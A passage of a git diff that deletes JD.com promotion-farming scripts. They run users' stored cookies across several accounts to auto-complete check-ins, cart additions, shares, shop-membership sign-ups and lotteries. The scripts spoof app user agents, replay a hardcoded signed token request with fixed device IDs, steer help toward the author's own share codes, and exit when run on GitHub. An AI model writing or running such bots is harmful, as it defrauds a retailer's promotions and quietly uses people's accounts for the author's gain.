Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if(Date.now() > 1632672000000){ - console.log(`活动已结束`); - return ; - } - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let res = []; - try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/museum.json');}catch (e) {} - if(!res){ - try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/museum.json');}catch (e) {} - if(!res){res = [];} - } - if(res.length === 0){ - $.shareUuid = ''; - }else{ - $.shareUuid = getRandomArrayElements(res,1)[0]; - } - for (let i = 0; i < cookiesArr.length; i++) { - getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.shareUuid = ''; - await main(); - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}); - -async function main() { - $.token = ``; - $.apptoken = ``; - await getToken(); - if ($.token === ``) {console.log(`获取token失败`);return;} - console.log(`获取token成功`); - await getHtml(); - let apptokenInfo = await takePost('getAppTokenByJDToken',`jdtoken=${$.token}&shareuid=${$.shareUuid}`); - if(apptokenInfo && apptokenInfo.apptoken){ - $.apptoken = apptokenInfo.apptoken; - }else{ - console.log(`获取apptoken失败`);return; - } - console.log(`获取apptoken成功`); - await $.wait(500); - let typeList = ['lotteryCount','lotteryHistory','isFollow','isViewVR','isJoin','lotteryPublicShow','globalLotteryHistory','getLiveShowUrl']; - $.activityInfo = {}; - for (let i = 0; i < typeList.length; i++) { - $.activityInfo[typeList[i]] = await takeGet(typeList[i]); - await $.wait(100); - } - if(!$.activityInfo.lotteryCount.cuponcode){ - let cuponcodeInfo = await takeGet('getCuponCode'); - console.log(`获得活动抽奖码:${cuponcodeInfo.cuponcode}`); - await $.wait(2000); - }else{ - console.log(`活动抽奖码:${$.activityInfo.lotteryCount.cuponcode}`); - } - if($.activityInfo.isJoin.status === '0' && $.shareUuid){ - await join('1000085868'); - await $.wait(1000); - for (let i = 0; i < typeList.length; i++) { - $.activityInfo[typeList[i]] = await takeGet(typeList[i]); - await $.wait(100); - } - } - await $.wait(2000); - await doTask(); - let lotteryCountInfo = await takeGet('lotteryCount'); - let count = lotteryCountInfo.count; - console.log(`可抽奖:${count}次`); - for (let i = 0; i < count; i++) { - console.log(`\n进行第${i+1}次抽奖`) - let lotteryInfo = await takeGet('doLottery'); - console.log(JSON.stringify(lotteryInfo)); - await $.wait(2000); - } -} - -async function takePost(type,body) { - let url = `https://xm.bjsidao.com/${type}`; - let info = { - url: url, - body:body, - headers: { - "Host": "xm.bjsidao.com", - "Accept": "*/*", - "Content-Type":"application/x-www-form-urlencoded", - "Origin":"https://jmkj2-isv.isvjcloud.com", - "Referer": "https://jmkj2-isv.isvjcloud.com/", - "apptoken":$.apptoken, - "User-Agent": $.UA, - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - } - } - return new Promise(resolve => { - $.post(info, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.data === null){ - data.data = {}; - } - data.data.message = data.message; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -async function takeGet(type) { - let url = `https://xm.bjsidao.com/${type}`; - let info = { - url: url, - headers: { - "Host": "xm.bjsidao.com", - "Accept": "*/*", - "Content-Type":"application/x-www-form-urlencoded", - "Origin":"https://jmkj2-isv.isvjcloud.com", - "Referer": "https://jmkj2-isv.isvjcloud.com/", - "apptoken":$.apptoken, - "User-Agent": $.UA, - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - } - } - return new Promise(resolve => { - $.get(info, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.data === null){ - data.data = {}; - } - data.data.message = data.message; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -async function doTask(){ - console.log(`执行签到任务`); - let returnInfo = await takeGet('checkIn'); - console.log(`签到:${returnInfo.message}`); - await $.wait(2000); - if($.activityInfo.isFollow.status === '0'){ - console.log(`执行关注任务`); - let info = await takeGet('followShop'); - console.log(`关注:${info.message}`); - await $.wait(2000); - } - if($.activityInfo.isViewVR.status === '0'){ - console.log(`执行VR任务`); - let info = await takeGet('viewVR'); - console.log(`VR:${info.message}`); - await $.wait(2000); - } - console.log(`进入直播间任务`); - returnInfo = await takeGet('viewLiveShow'); - console.log(`进入直播间:${returnInfo.message}`); - await $.wait(2000); - let itemList = ['100025643312','100025643292','100025678746']; - for (let i = 0; i < itemList.length; i++) { - console.log(`浏览:${itemList[i]}`); - returnInfo = await takePost('viewProduct',`sku=${itemList[i]}`); - console.log(`浏览:${returnInfo.message}`); - await $.wait(2000); - } - for (let i = 0; i < itemList.length; i++) { - console.log(`加购:${itemList[i]}`); - returnInfo = await takePost('addToCart',`num=1&itemId=${itemList[i]}`); - console.log(`加购:${returnInfo.message}`); - await $.wait(2000); - } - let shareTime = 0; - let runTime = 0; - do { - console.log(`执行分享`); - shareTime ++; - returnInfo = await takeGet('shareCount'); - shareTime = returnInfo.shareCount; - await $.wait(1000); - returnInfo = await takeGet('shareReport'); - shareTime = returnInfo.shareCount; - await $.wait(2000); - console.log(`已分享:${shareTime}次`); - runTime++; - }while (shareTime < 5 && runTime < 5) - -} -function getHtml() { - let config ={ - url:`https://jmkj2-isv.isvjcloud.com//jd/index.html?vtype=share&uid=${$.shareUuid}`, - headers: { - 'Host':'jmkj2-isv.isvjcloud.com', - 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cookie': `IsvToken=${$.token};${$.cookie}`, - "User-Agent": $.UA, - 'Accept-Language':'zh-cn', - 'Accept-Encoding':'gzip, deflate, br', - 'Connection':'keep-alive' - } - } - return new Promise(resolve => { - $.get(config, (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': $.cookie - } - } -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': $.cookie - } - } -} -function getToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: `area=2_2830_51828_0&body=%7B%22url%22%3A%22https%3A%5C/%5C/jmkj2-isv.isvjcloud.com%5C/%5C/jd%5C/index.html?vtype%3Dshare%26uid%3D1319%26lng%3D121.330575%26lat%3D31.292041%26sid%3Dd68167971a0380420a29f9072a7c491w%26un_area%3D2_2830_51828_0%22%2C%22id%22%3A%22%22%7D&build=167814&client=apple&clientVersion=10.1.4&d_brand=apple&d_model=iPhone9%2C2&eid=eidI42470115RDhDRjM1NjktODdGQi00RQ%3D%3DB3mSBu%2BcGp7WhKUUyye8/kqi1lxzA3Dv6a89ttwC7YFdT6JFByyAtAfO0TOmN9G2os20ud7RosfkMq80&isBackground=N&joycious=93&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=5a8a5743a5d2a4110a8ed396bb047471ea120c6a&osVersion=14.6&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=e1e6d76b164dd52cab8f0dcec61faa76&st=1631528316464&sv=100`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data || []); - } - }) - await $.wait(10000) - resolve(); - }) -} -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_flpa.js b/backUp/jd_flpa.js deleted file mode 100644 index 3a64fc6..0000000 --- a/backUp/jd_flpa.js +++ /dev/null @@ -1,503 +0,0 @@ -/* -TG 群组 -https://t.me/aaron_scriptsG -https://t.me/jdscrip -10 0 * * * jd_flpa.js -*/ -const $ = new Env("FLP"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue - } - - authorCodeList = [ - '4cd2550f56ac4ff193c6d1b9a33b2ebf', - '00be108b771b4b76a9940660b2ca67e8', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = '52c0712263f342308da1287a66702009' - $.activityShopId = '1000003691' - $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/pool/captain/${$.authorNum}?activityId=${$.activityId}&signUuid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=null&shopid=${$.activityShopId}` - await member_08(); - await $.wait(3500) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function member_08() { - $.log("这是一个开卡入会的活动,请确认你愿意进行,我给你5s考虑。") - $.log('那就开始吧。') - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> " +$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`) - if ($.activityContent) { - console.log($.activityContent.canJoin) - if ($.activityContent.canJoin) { - $.log("加入队伍成功,请等待队长瓜分京豆") - await task('saveCandidate', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - if (!$.activityContent.openCard) { - await getShopOpenCardInfo({ "venderId": "1000003691", "channel": 401 }, 1000003691) - await bindWithVender({ "venderId": "1000003691", "shopId": "1000003691", "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": 3282318, "channel": 401 }, 1000003691) - } - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - await $.wait(2000) - if ($.index === 1) { - if ($.activityContent.canCreate) { - $.log("创建队伍") - await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - } - } - } else { - if ($.index === 1) { - $.log("创建队伍") - if ($.activityContent.canCreate) { - await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - } else { - $.log("你已经是队长了") - ownCode = $.activityContent.signUuid - console.log(ownCode) - } - } else { - $.log("无法加入队伍") - } - } - } else { - $.log("未能成功获取到活动信息") - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'saveCaptain': - if (data.data.signUuid) { - $.log("创建队伍成功") - ownCode = data.data.signUuid - } - break; - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = 